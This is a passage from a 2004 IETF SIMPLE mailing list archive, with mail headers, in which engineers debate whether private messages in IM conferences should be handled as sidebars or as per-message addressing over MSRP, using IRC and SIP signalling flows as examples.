> 
> ext Rosen, Brian wrote:
> > Aki
> > 
> > My post was meant to point out that we had decided to implement
> > sidebars as separate dialogs from main conferences, which is similar
> > to making "private messages" separate dialogs from a main IM dialog.
> > In that way, I think that sidebars and private messages are 
> the same;
> > they are media sent to a subset of participants in the group.  If
> > there is a reason to allow a special way to subset 
> destinations for a
> >  private message rather than the entire chat group, then whatever 
> > argument you make would apply to a sidebar.
> > 
> > Brian
> 
> <snip />
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 21:13:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22969
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 21:13:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzP9-0005p7-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 21:13:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxzOA-0005gm-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 21:12:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzN8-0005YD-00; Mon, 01 Mar 2004 21:11:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzN8-0005D0-Cf; Mon, 01 Mar 2004 21:11:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzMa-0005AU-6Y
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 21:10:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22828
	for <simple@ietf.org>; Mon, 1 Mar 2004 21:10:23 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzMX-0005SY-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:10:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxzLZ-0005Kd-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:09:26 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzL6-0005D1-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:08:56 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2228XT10333;
	Tue, 2 Mar 2004 04:08:33 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 04:07:57 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2227vvb018152;
	Tue, 2 Mar 2004 04:07:57 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 000srJXE; Tue, 02 Mar 2004 04:07:55 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2227tO00493;
	Tue, 2 Mar 2004 04:07:55 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 04:07:57 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcP/9sS+BJqqM6+WTNOpCce1aeQpogAA7nbQ
To: <Brian.Rosen@marconi.com>, <aki.niemi@nokia.com>
Cc: <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 02:07:57.0142 (UTC) FILETIME=[2E13A760:01C3FFFB]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 04:07:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

I don't see us getting to agreement here... Still, see below:

> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02 March, 2004 03:35
> To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> (Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> What is the difference between a sidebar and a private message?
>=20
> I think the ONLY difference is the number of people involved.
>=20
> A sidebar is two or more.  A private message is exactly two.
>=20

I don't think we need to limit the number of recipients for the private =
message. The only thing is that they need to be conference participants.

> There is NO other meaningful difference.
>=20
> Your argument on overhead is directly comparable to the argument
> we went through when we defined sidebars as separate sessions.
> I argued that we should NOT create a separate session, but
> simply alter the media policy appropriately.  You are simply
> repeating the arguments I made.
>=20
> I lost that argument. =20
>=20

My comment to that is that there are differences in medias that should =
be taken into account. As you see in the example I made, having only one =
solution leads to hugely unoptimal system.=20

> Brian
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Monday, March 01, 2004 8:16 PM
> > To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > simple@ietf.org
> > Subject: RE: [Simple] Chat sessions
> >=20
> >=20
> > Hi,
> >=20
> > It seems we are not getting the message through ;)
> >=20
> > Let's see how sending a private message looks like as a=20
> > sidebar vs. as proposed in the current draft. The case is=20
> > this: Users A and B participate in the same conference, A=20
> > wants to send a private message to B.
> >=20
> > Sidebar case would be roughly like this:
> > 1. A creates a conference for a sidebar using INVITE
> >    - new MSRP session is established between A and the new=20
> > focus instance
> > 2. A refers B to that conference
> > 3. B joins the conference
> >    - new MSRP session is established
> > 4. A sends MSRP SEND request to the conference
> > 5. focus forwards it to B
> > 6. A sends BYE
> > 7. focus sends BYE to B
> >=20
> > If B replies after 10 seconds, the whole process is followed=20
> > again from 1 to 7.
> >=20
> > Private message case:
> > 1. A sends private message targeted to B over an existing=20
> MSRP session
> > 2. focus forwards it to B
> >=20
> > So which solution would you like to adopt?=20
> >=20
> > Markus
> >=20
> >=20
> > > -----Original Message-----
> > > From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > Sent: 01 March, 2004 12:41
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > > pkyzivat@cisco.com; Khartabil Hisham=20
> (Nokia-TP-MSW/Helsinki); Garcia
> > > Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > > Subject: RE: [Simple] Chat sessions
> > >=20
> > >=20
> > > Aki
> > >=20
> > > My post was meant to point out that we had decided to=20
> > > implement sidebars
> > > as separate dialogs from main conferences, which is similar=20
> > to making
> > > "private messages" separate dialogs from a main IM=20
> dialog.  In that
> > > way, I think that sidebars and private messages are the=20
> > same; they are
> > > media sent to a subset of participants in the group.  If there
> > > is a reason to allow a special way to subset destinations for a
> > > private message rather than the entire chat group, then whatever
> > > argument you make would apply to a sidebar. =20
> > >=20
> > > Brian
> > >=20
> > > > -----Original Message-----
> > > > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > > Sent: Monday, March 01, 2004 2:58 AM
> > > > To: ext Rosen, Brian
> > > > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > > > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > > Subject: Re: [Simple] Chat sessions
> > > >=20
> > > >=20
> > > > Brian,
> > > >=20
> > > > I've never argued for private messages over sidebars. I still=20
> > > > maintain=20
> > > > that sidebars and private messages are different and=20
> > > *complimentary*=20
> > > > features, and that we need *both* to have a complete=20
> > > solution for IM=20
> > > > conferences.
> > > >=20
> > > > Cheers,
> > > > Aki
> > > >=20
> > > > ext Rosen, Brian wrote:
> > > > > Aki
> > > > >=20
> > > > > When we were discussing sidebars, I made arguments like=20
> > > > this against making
> > > > > a sidebar
> > > > > a separate session.  Sidebars, I argued, are just media=20
> > > > (mixing) changes,
> > > > > they have
> > > > > nothing to do with session management.
> > > > >=20
> > > > > I lost this argument, and I will be very unhappy if IM=20
> > > > works differently.
> > > > > One of
> > > > > the reasons I lost it was the observation that a sidebar=20
> > > > could include
> > > > > participants
> > > > > who are not main conference participants.  I think you have=20
> > > > the same issue
> > > > > here.
> > > > >=20
> > > > > Brian
> > > > >=20
> > > > >=20
> > > > >>-----Original Message-----
> > > > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > > >>Sent: Sunday, February 29, 2004 12:40 PM
> > > > >>To: ext Jonathan Rosenberg
> > > > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > > > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > > >>Subject: Re: [Simple] Chat sessions
> > > > >>
> > > > >>
> > > > >>
> > > > >>
> > > > >>ext Jonathan Rosenberg wrote:
> > > > >><snip />
> > > > >>
> > > > >>>>3. As Aki explained, sidebars and private IMs within a=20
> > > conference=20
> > > > >>>>are two different things. Sidebars are subconferences,=20
> > > > that include
> > > > >>>> a certain subset of the participants in the main=20
> > > > conference. They=20
> > > > >>>>need to be explicitly created and deleted. Private=20
> > IMs within a=20
> > > > >>>>conference are also targeted to a subset of the conference=20
> > > > >>>>participants. But there is no need to setup a sidebar or=20
> > > > any other=20
> > > > >>>>additional context to send them. The recipients can=20
> simply be=20
> > > > >>>>signaled within each message (as proposed by using CPIM=20
> > > > To header).
> > > > >>>> This seems to be a specific property of IM, as=20
> this sort of=20
> > > > >>>>addressing would be impossible e.g. in RTP. In=20
> theory priate=20
> > > > >>>>messaging facility could be supported by sidebars, but in=20
> > > > this case
> > > > >>>> the focus would need to have as many sidebars constantly=20
> > > > setup, as
> > > > >>>> there are different possible participant subset=20
> > > > combinations. Way=20
> > > > >>>>too complex and not needed.
> > > > >>>
> > > > >>>
> > > > >>>I dont think that, functionally, what you are describing is=20
> > > > >>
> > > > >>different
> > > > >>
> > > > >>> from a sidebar. What differs is that the specifics of=20
> > > this media=20
> > > > >>>type allow for a more efficient implementation of the=20
> > > sidebar than=20
> > > > >>>would be possible for another media type, such as audio.=20
> > > > >>
> > > > >>Indeed, the=20
> > > > >>
> > > > >>>same is true for IM in general - why set up a session (ala=20
> > > > >>
> > > > >>msrp) when
> > > > >>
> > > > >>>you can just send a pager mode?
> > > > >>
> > > > >>The ultimate proof of difference in functionality is=20
> > that private
> > > > >>messages are usable and useful in a sidebar - in fact=20
> > it makes no
> > > > >>difference whether they're sent within the context of a=20
> > > > conference, a
> > > > >>conference sidebar, or a sidebar of a conference sidebar.
> > > > >>
> > > > >>Let me provide a concrete example of an already existing=20
> > > > service (IRC)
> > > > >>that has what I think is a close approximation of both=20
> > sidebar and
> > > > >>private message functionality. (BTW, I feel strongly=20
> > that if MSRP
> > > > >>conferences aren't as feature rich as IRC is, and provide the=20
> > > > >>same user
> > > > >>experience, we've failed miserably.)
> > > > >>
> > > > >>Channels in IRC have identities, e.g., #helsinki, and=20
> > > > >>participant lists
> > > > >>that are delivered in a very similar manner that the=20
> > > conference-info
> > > > >>events would be delivered. Users join these channels=20
> > > using JOIN, at
> > > > >>which time they get the participant list, and after that,=20
> > > > >>updates e.g.,
> > > > >>whenever anyone leaves or joins the channel.
> > > > >>
> > > > >>Users can send private messages to the other participants in=20
> > > > >>the channel:
> > > > >>
> > > > >>	PRIVMSG foobar :Some nick you got there foobar!
> > > > >>
> > > > >>Usually, these messages are displayed in the same pane as=20
> > > > the rest of
> > > > >>the channel's messages, including information about the=20
> > sender but
> > > > >>marked accordingly as private.
> > > > >>
> > > > >>A user can also invite others to a sidebar of sorts, that=20
> > > is, a new
> > > > >>channel, whose properties can be set such that it can=20
> > be joined by
> > > > >>invitation only.
> > > > >>
> > > > >>	INVITE FunnyNick #my_channel
> > > > >>	INVITE BeerLover #my_channel
> > > > >>	INVITE ROOLZ #my_channel
> > > > >>
> > > > >>Joining this new channel as a result of an invitation=20
> > (with JOIN)
> > > > >>usually results in a new window, moving the focus of=20
> > > > conversation away
> > > > >>from the original channel, but still maintaining the=20
> > > > original channel'
> > > > >>and its messages active in the background.
> > > > >>
> > > > >>The users may again send messages either to the entire=20
> > > > >>channel (MSG), or
> > > > >>to only one participant (PRIVMSG). A recipient of an=20
> INVITE will
> > > > >>generally make a choice just like in a SIP invitation whether=20
> > > > >>or not to
> > > > >>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > > > actions from
> > > > >>the recipient. Indeed, it might even go unnoticed.
> > > > >>
> > > > >>Taking this into account, I fail to see how sidebars alone=20
> > > > can be made
> > > > >>to work in providing similar functionality in MSRP=20
> > > > conferences. Either
> > > > >>sidears or private messages alone won't result in the=20
> > > same level of
> > > > >>functionality.
> > > > >>
> > > > >>Wrapping all private conversation inside a sidebar is=20
> incredibly
> > > > >>inefficient and results in bad user experience, since there=20
> > > > >>is no way to
> > > > >>distinguish a REFER that is to a sidebar whose sole purpose=20
> > > > >>is to send a
> > > > >>single private message to the user or have a real ad-hoc=20
> > > > conversation
> > > > >>posibly consisting of a real exchange of messages. In fact,=20
> > > > this would
> > > > >>require 4 rounds of singalling (not including sidebar=20
> > creation and
> > > > >>tear-down), plus user interaction in between:
> > > > >>
> > > > >>REFER (to sidebar)
> > > > >>200 OK
> > > > >>
> > > > >>-Query/inform user whether wants to join-
> > > > >>
> > > > >>INVITE (to sidebar)
> > > > >>200 OK
> > > > >>ACK
> > > > >>
> > > > >>(Note: would probably also require subscription to=20
> > > conference-info,
> > > > >>because one would be interested to whom they are sending=20
> > > the private
> > > > >>messages...)
> > > > >>
> > > > >>MSRP SEND
> > > > >>MSRP OK
> > > > >>
> > > > >>BYE
> > > > >>200 OK
> > > > >>
> > > > >>...as opposed to a single round of messages:
> > > > >>
> > > > >>MSRP SEND (private)
> > > > >>200 OK
> > > > >>
> > > > >>(Note that enabling auto-answering wrt the REFER would in the=20
> > > > >>worst case
> > > > >>result in a sidebar bombardment, or having a user be=20
> > > moved over to a
> > > > >>sidebar in the middle of, say, message composition.)
> > > > >>
> > > > >>The same level of functionality would also not be met with=20
> > > > only using
> > > > >>private messages. AFAIK, the purpose of a sidebar is to=20
> > > > move the focus
> > > > >>of the conversation temporarily outside the original=20
> > > > conference. This
> > > > >>requires being able to wrap a discussion into a separate=20
> > > > >>context. A very
> > > > >>important aspect of this is to let the user decide whether to=20
> > > > >>joing such
> > > > >>a sidebar, and when to join it. Determining to which context a
> > > > >>particular received private message belongs to can in this=20
> > > > >>case only be
> > > > >>done in the recipients head - there are no protocol=20
> > > > elements to help.
> > > > >>
> > > > >>As a conclusion, I don't see how sidebars alone can provide=20
> > > > >>the required
> > > > >>functionality.
> > > > >>
> > > > >>
> > > > >>>So, the question is, do we see the perceived efficiency=20
> > > > >>
> > > > >>improvements=20
> > > > >>
> > > > >>>of a pager-mode sidebar as being sufficiently good to=20
> > allow for=20
> > > > >>>defining a separate sidebar mechanism for it?
> > > > >>
> > > > >>It is also about user interaction. When a user receives an=20
> > > > >>INVITE for an
> > > > >>MSRP session, it can make a choice just like in a voice=20
> > > call between
> > > > >>accepting the call or rejecting it. Page mode doesn't=20
> > > provide that=20
> > > > >>functionality.
> > > > >>
> > > > >>Cheers,
> > > > >>Aki
> > > > >>
> > > > >>
> > > > >>>-Jonathan R.
> > > > >>
> > > >=20
> > > > _______________________________________________
> > > > Simple mailing list
> > > > Simple@ietf.org
> > > > https://www1.ietf.org/mailman/listinfo/simple
> > > >=20
> > >=20
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 21:13:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23038
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 21:13:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzPC-0005P1-Rp
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 21:13:11 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i222DApY020761
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 21:13:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzPC-0005Ol-NU
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 21:13:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22985
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 21:13:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzPA-0005pC-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 21:13:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxzOC-0005gy-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 21:12:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzN8-0005YD-00; Mon, 01 Mar 2004 21:11:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzN8-0005D0-Cf; Mon, 01 Mar 2004 21:11:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzMa-0005AU-6Y
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 21:10:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA22828
	for <simple@ietf.org>; Mon, 1 Mar 2004 21:10:23 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzMX-0005SY-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:10:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxzLZ-0005Kd-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:09:26 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzL6-0005D1-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:08:56 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2228XT10333;
	Tue, 2 Mar 2004 04:08:33 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 04:07:57 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2227vvb018152;
	Tue, 2 Mar 2004 04:07:57 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks002.ntc.nokia.com 000srJXE; Tue, 02 Mar 2004 04:07:55 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2227tO00493;
	Tue, 2 Mar 2004 04:07:55 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 04:07:57 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcP/9sS+BJqqM6+WTNOpCce1aeQpogAA7nbQ
To: <Brian.Rosen@marconi.com>, <aki.niemi@nokia.com>
Cc: <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 02:07:57.0142 (UTC) FILETIME=[2E13A760:01C3FFFB]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 04:07:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

I don't see us getting to agreement here... Still, see below:

> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02 March, 2004 03:35
> To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> (Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> What is the difference between a sidebar and a private message?
>=20
> I think the ONLY difference is the number of people involved.
>=20
> A sidebar is two or more.  A private message is exactly two.
>=20

I don't think we need to limit the number of recipients for the private =
message. The only thing is that they need to be conference participants.

> There is NO other meaningful difference.
>=20
> Your argument on overhead is directly comparable to the argument
> we went through when we defined sidebars as separate sessions.
> I argued that we should NOT create a separate session, but
> simply alter the media policy appropriately.  You are simply
> repeating the arguments I made.
>=20
> I lost that argument. =20
>=20

My comment to that is that there are differences in medias that should =
be taken into account. As you see in the example I made, having only one =
solution leads to hugely unoptimal system.=20

> Brian
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Monday, March 01, 2004 8:16 PM
> > To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > simple@ietf.org
> > Subject: RE: [Simple] Chat sessions
> >=20
> >=20
> > Hi,
> >=20
> > It seems we are not getting the message through ;)
> >=20
> > Let's see how sending a private message looks like as a=20
> > sidebar vs. as proposed in the current draft. The case is=20
> > this: Users A and B participate in the same conference, A=20
> > wants to send a private message to B.
> >=20
> > Sidebar case would be roughly like this:
> > 1. A creates a conference for a sidebar using INVITE
> >    - new MSRP session is established between A and the new=20
> > focus instance
> > 2. A refers B to that conference
> > 3. B joins the conference
> >    - new MSRP session is established
> > 4. A sends MSRP SEND request to the conference
> > 5. focus forwards it to B
> > 6. A sends BYE
> > 7. focus sends BYE to B
> >=20
> > If B replies after 10 seconds, the whole process is followed=20
> > again from 1 to 7.
> >=20
> > Private message case:
> > 1. A sends private message targeted to B over an existing=20
> MSRP session
> > 2. focus forwards it to B
> >=20
> > So which solution would you like to adopt?=20
> >=20
> > Markus
> >=20
> >=20
> > > -----Original Message-----
> > > From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > Sent: 01 March, 2004 12:41
> > > To: Niemi Aki (Nokia-M/Espoo)
> > > Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > > pkyzivat@cisco.com; Khartabil Hisham=20
> (Nokia-TP-MSW/Helsinki); Garcia
> > > Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > > Subject: RE: [Simple] Chat sessions
> > >=20
> > >=20
> > > Aki
> > >=20
> > > My post was meant to point out that we had decided to=20
> > > implement sidebars
> > > as separate dialogs from main conferences, which is similar=20
> > to making
> > > "private messages" separate dialogs from a main IM=20
> dialog.  In that
> > > way, I think that sidebars and private messages are the=20
> > same; they are
> > > media sent to a subset of participants in the group.  If there
> > > is a reason to allow a special way to subset destinations for a
> > > private message rather than the entire chat group, then whatever
> > > argument you make would apply to a sidebar. =20
> > >=20
> > > Brian
> > >=20
> > > > -----Original Message-----
> > > > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > > Sent: Monday, March 01, 2004 2:58 AM
> > > > To: ext Rosen, Brian
> > > > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > > > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > > Subject: Re: [Simple] Chat sessions
> > > >=20
> > > >=20
> > > > Brian,
> > > >=20
> > > > I've never argued for private messages over sidebars. I still=20
> > > > maintain=20
> > > > that sidebars and private messages are different and=20
> > > *complimentary*=20
> > > > features, and that we need *both* to have a complete=20
> > > solution for IM=20
> > > > conferences.
> > > >=20
> > > > Cheers,
> > > > Aki
> > > >=20
> > > > ext Rosen, Brian wrote:
> > > > > Aki
> > > > >=20
> > > > > When we were discussing sidebars, I made arguments like=20
> > > > this against making
> > > > > a sidebar
> > > > > a separate session.  Sidebars, I argued, are just media=20
> > > > (mixing) changes,
> > > > > they have
> > > > > nothing to do with session management.
> > > > >=20
> > > > > I lost this argument, and I will be very unhappy if IM=20
> > > > works differently.
> > > > > One of
> > > > > the reasons I lost it was the observation that a sidebar=20
> > > > could include
> > > > > participants
> > > > > who are not main conference participants.  I think you have=20
> > > > the same issue
> > > > > here.
> > > > >=20
> > > > > Brian
> > > > >=20
> > > > >=20
> > > > >>-----Original Message-----
> > > > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > > >>Sent: Sunday, February 29, 2004 12:40 PM
> > > > >>To: ext Jonathan Rosenberg
> > > > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > > > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > > >>Subject: Re: [Simple] Chat sessions
> > > > >>
> > > > >>
> > > > >>
> > > > >>
> > > > >>ext Jonathan Rosenberg wrote:
> > > > >><snip />
> > > > >>
> > > > >>>>3. As Aki explained, sidebars and private IMs within a=20
> > > conference=20
> > > > >>>>are two different things. Sidebars are subconferences,=20
> > > > that include
> > > > >>>> a certain subset of the participants in the main=20
> > > > conference. They=20
> > > > >>>>need to be explicitly created and deleted. Private=20
> > IMs within a=20
> > > > >>>>conference are also targeted to a subset of the conference=20
> > > > >>>>participants. But there is no need to setup a sidebar or=20
> > > > any other=20
> > > > >>>>additional context to send them. The recipients can=20
> simply be=20
> > > > >>>>signaled within each message (as proposed by using CPIM=20
> > > > To header).
> > > > >>>> This seems to be a specific property of IM, as=20
> this sort of=20
> > > > >>>>addressing would be impossible e.g. in RTP. In=20
> theory priate=20
